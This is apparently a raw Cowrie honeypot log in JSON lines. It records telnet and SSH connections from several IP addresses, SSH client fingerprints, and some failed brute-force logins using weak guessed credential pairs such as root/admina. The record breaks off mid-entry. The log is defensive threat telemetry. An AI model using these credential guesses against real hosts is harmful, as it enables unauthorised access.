{"eventid":"cowrie.session.closed","duration":6.029580116271973,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:10.929271Z","src_ip":"134.209.8.29","session":"311bf3444871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.469748020172119,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:12.844400Z","src_ip":"134.209.8.29","session":"6e57ca36bc36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45868,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36eadbe17fe","protocol":"telnet","message":"New connection: 134.209.8.29:45868 (159.203.135.109:23) [session: e36eadbe17fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:14.341589Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45870,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd731eba376","protocol":"telnet","message":"New connection: 134.209.8.29:45870 (159.203.135.109:23) [session: 1bd731eba376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:16.552470Z"}
{"eventid":"cowrie.session.closed","duration":46.745144844055176,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:17.478251Z","src_ip":"134.209.8.29","session":"0da17cd5fc4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45888,"dst_ip":"159.203.135.109","dst_port":23,"session":"da0f97b4dfd9","protocol":"telnet","message":"New connection: 134.209.8.29:45888 (159.203.135.109:23) [session: da0f97b4dfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:17.526855Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45876,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cbe95a3b777","protocol":"telnet","message":"New connection: 134.209.8.29:45876 (159.203.135.109:23) [session: 3cbe95a3b777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:17.566009Z"}
{"eventid":"cowrie.session.closed","duration":55.420583724975586,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:18.274040Z","src_ip":"134.209.8.29","session":"a137e007f00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.111549139022827,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:20.663872Z","src_ip":"134.209.8.29","session":"1bd731eba376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.654547691345215,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:21.838605Z","src_ip":"134.209.8.29","session":"019d3f61132a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.832031488418579,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:25.358749Z","src_ip":"134.209.8.29","session":"da0f97b4dfd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":56066,"dst_ip":"10.17.0.5","dst_port":22,"session":"35909b1d280a","protocol":"ssh","message":"New connection: 148.216.28.11:56066 (10.17.0.5:22) [session: 35909b1d280a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:26.645192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:26.649753Z","src_ip":"148.216.28.11","session":"35909b1d280a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:26.717194Z","src_ip":"148.216.28.11","session":"35909b1d280a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"password123","message":"login attempt [ec2-user/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:27.018021Z","src_ip":"148.216.28.11","session":"35909b1d280a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:28.088476Z","src_ip":"148.216.28.11","session":"35909b1d280a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ea87826c5b","protocol":"telnet","message":"New connection: 134.209.8.29:55054 (159.203.135.109:23) [session: e9ea87826c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:29.899670Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55066,"dst_ip":"159.203.135.109","dst_port":23,"session":"205197c3b314","protocol":"telnet","message":"New connection: 134.209.8.29:55066 (159.203.135.109:23) [session: 205197c3b314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:30.006471Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57302,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea03c2b55bf2","protocol":"telnet","message":"New connection: 134.209.8.29:57302 (159.203.135.109:23) [session: ea03c2b55bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:33.905837Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":51752,"dst_ip":"10.17.0.5","dst_port":22,"session":"686cd8caf244","protocol":"ssh","message":"New connection: 34.135.200.178:51752 (10.17.0.5:22) [session: 686cd8caf244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:36.258900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:36.266481Z","src_ip":"34.135.200.178","session":"686cd8caf244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:36.302231Z","src_ip":"34.135.200.178","session":"686cd8caf244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678a","message":"login attempt [admin/12345678a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:36.476865Z","src_ip":"34.135.200.178","session":"686cd8caf244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:37.515898Z","src_ip":"34.135.200.178","session":"686cd8caf244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57308,"dst_ip":"159.203.135.109","dst_port":23,"session":"e70ecfe86c25","protocol":"telnet","message":"New connection: 134.209.8.29:57308 (159.203.135.109:23) [session: e70ecfe86c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:41.104971Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47690,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b69d2a99bc","protocol":"telnet","message":"New connection: 134.209.8.29:47690 (159.203.135.109:23) [session: b1b69d2a99bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:43.809461Z"}
{"eventid":"cowrie.session.closed","duration":4.398014068603516,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:45.502875Z","src_ip":"134.209.8.29","session":"e70ecfe86c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47696,"dst_ip":"159.203.135.109","dst_port":23,"session":"58379ce665ab","protocol":"telnet","message":"New connection: 134.209.8.29:47696 (159.203.135.109:23) [session: 58379ce665ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:47.876786Z"}
{"eventid":"cowrie.session.closed","duration":120.00192618370056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:48.847945Z","src_ip":"134.209.8.29","session":"0eb2b8017938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":38024,"dst_ip":"10.17.0.5","dst_port":22,"session":"742afc4945ff","protocol":"ssh","message":"New connection: 147.50.231.135:38024 (10.17.0.5:22) [session: 742afc4945ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:49.410950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:49.415437Z","src_ip":"147.50.231.135","session":"742afc4945ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:49.744772Z","src_ip":"147.50.231.135","session":"742afc4945ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admina","message":"login attempt [root/admina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:50.850877Z","src_ip":"147.50.231.135","session":"742afc4945ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47712,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d23fbc665e9","protocol":"telnet","message":"New connection: 134.209.8.29:47712 (159.203.135.109:23) [session: 7d23fbc665e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:51.356955Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:52.120560Z","src_ip":"147.50.231.135","session":"742afc4945ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.593196868896484,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:54.449739Z","src_ip":"134.209.8.29","session":"b4150eff0a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.612652063369751,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:55.969527Z","src_ip":"134.209.8.29","session":"7d23fbc665e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00356197357178,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:57.408769Z","src_ip":"134.209.8.29","session":"899e842f8e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.65499210357666,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:59.220850Z","src_ip":"134.209.8.29","session":"3cbe95a3b777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":53928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81de4d9b40e","protocol":"telnet","message":"New connection: 66.111.11.103:53928 (159.203.135.109:23) [session: b81de4d9b40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:59.534664Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51542,"dst_ip":"159.203.135.109","dst_port":23,"session":"d01b40a50ac0","protocol":"telnet","message":"New connection: 134.209.8.29:51542 (159.203.135.109:23) [session: d01b40a50ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:59.621425Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51536,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9478a078a0","protocol":"telnet","message":"New connection: 134.209.8.29:51536 (159.203.135.109:23) [session: ea9478a078a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:59.845787Z"}
{"eventid":"cowrie.session.closed","duration":61.37377381324768,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:00.043165Z","src_ip":"134.209.8.29","session":"e5091725c33b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51546,"dst_ip":"159.203.135.109","dst_port":23,"session":"302fc07e1c77","protocol":"telnet","message":"New connection: 134.209.8.29:51546 (159.203.135.109:23) [session: 302fc07e1c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:00.377978Z"}
{"eventid":"cowrie.session.closed","duration":0.017984390258789062,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:00.390587Z","src_ip":"134.209.8.29","session":"302fc07e1c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.845574140548706,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:00.634521Z","src_ip":"134.209.8.29","session":"488270ddd372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.895182847976685,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:01.236619Z","src_ip":"134.209.8.29","session":"e36eadbe17fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":51404,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca289f474b9a","protocol":"ssh","message":"New connection: 165.22.63.98:51404 (159.203.135.109:22) [session: ca289f474b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:01.278131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:01.283326Z","src_ip":"165.22.63.98","session":"ca289f474b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:01.521921Z","src_ip":"165.22.63.98","session":"ca289f474b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123qweasdzxc","message":"login attempt [root/!@#123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:02.510952Z","src_ip":"165.22.63.98","session":"ca289f474b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56556,"dst_ip":"159.203.135.109","dst_port":23,"session":"425fdd32d5e3","protocol":"telnet","message":"New connection: 66.111.11.103:56556 (159.203.135.109:23) [session: 425fdd32d5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:03.047769Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56192,"dst_ip":"159.203.135.109","dst_port":23,"session":"903d35b1b47c","protocol":"telnet","message":"New connection: 66.111.11.103:56192 (159.203.135.109:23) [session: 903d35b1b47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:03.464457Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:03.760744Z","src_ip":"165.22.63.98","session":"ca289f474b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":57280,"dst_ip":"159.203.135.109","dst_port":23,"session":"55e491193cf0","protocol":"telnet","message":"New connection: 66.111.11.103:57280 (159.203.135.109:23) [session: 55e491193cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:03.953518Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":38404,"dst_ip":"10.17.0.5","dst_port":22,"session":"b192d341d612","protocol":"ssh","message":"New connection: 150.95.157.171:38404 (10.17.0.5:22) [session: b192d341d612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:05.578417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:05.584407Z","src_ip":"150.95.157.171","session":"b192d341d612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":57682,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59bc459d3d1","protocol":"telnet","message":"New connection: 66.111.11.103:57682 (159.203.135.109:23) [session: a59bc459d3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:05.618495Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sh